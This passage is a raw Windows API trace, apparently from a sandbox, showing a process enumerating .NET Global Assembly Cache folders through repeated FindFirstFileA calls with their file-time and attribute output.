ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6745c80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6745c80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.013] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\MSBuild\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6745c80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6745c80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.019] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\MSBuild\\3.5.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x676bde0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x676bde0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.026] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\mscorlib\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc170f2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x676bde0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x676bde0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.031] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc170f2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x676bde0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x676bde0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.038] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\napcrypt\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc3d24c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6791f40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6791f40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.043] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\napcrypt\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc3d24c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6791f40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6791f40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.051] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\naphlpr\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc3d24c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6791f40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6791f40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.056] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\naphlpr\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc3d24c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x67b80a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x67b80a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.063] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Policy.1.0.Microsoft.Interop.Security.AzRoles\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc633a6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x67b80a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x67b80a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.069] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Policy.1.0.Microsoft.Interop.Security.AzRoles\\6.1.7600.16385__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc633a6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x67de200, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x67de200, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.077] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Policy.1.2.Microsoft.Interop.Security.AzRoles\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc633a6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x67de200, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x67de200, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.083] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Policy.1.2.Microsoft.Interop.Security.AzRoles\\6.1.7600.16385__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc633a6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6804360, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6804360, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.090] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Policy.6.0.Microsoft.Ink\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6804360, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6804360, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.096] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Policy.6.0.Microsoft.Ink\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x682a4c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x682a4c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.104] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\PresentationCore\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x682a4c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x682a4c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.109] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\PresentationCore\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x682a4c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x682a4c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.117] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\System.Data\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc633a6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6850620, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6850620, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.121] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\System.Data\\2.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc633a6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6850620, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6850620, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.127] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\System.Data.OracleClient\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc633a6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6876780, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6876780, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.134] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\System.Data.OracleClient\\2.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc633a6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6876780, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6876780, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.140] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\System.EnterpriseServices\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc633a6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6876780, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6876780, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.145] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\System.EnterpriseServices\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc89500, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x689c8e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x689c8e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.151] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\System.Printing\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x689c8e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x689c8e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.155] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\System.Printing\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x689c8e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x689c8e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.161] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\System.Transactions\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc89500, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x68c2a40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x68c2a40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.165] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\System.Transactions\\2.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc89500, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x68c2a40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x68c2a40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.170] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\System.Web\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc89500, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x68c2a40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x68c2a40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.183] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\System.Web\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc89500, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x68e8ba0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x68e8ba0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.186] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdc89500, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x68e8ba0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x68e8ba0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0230.193] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Accessibility\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc89500, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x690ed00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x690ed00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.198] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Accessibility\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc89500, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x690ed00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x690ed00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.203] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ComSvcConfig\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x690ed00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x690ed00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.208] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ComSvcConfig\\3.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6934e60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6934e60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.213] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\cscompmgd\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc89500, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6934e60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6934e60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.220] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\cscompmgd\\8.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcaf65a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6934e60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6934e60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.225] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\dfsvc\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcaf65a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x695afc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x695afc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.230] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\dfsvc\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcaf65a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x695afc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x695afc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.235] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehCIR\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x695afc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x695afc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.241] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehCIR\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6981120, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6981120, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.248] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehexthost\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6981120, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6981120, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.252] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehexthost\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x69a7280, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x69a7280, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.258] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehiActivScp\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x69a7280, 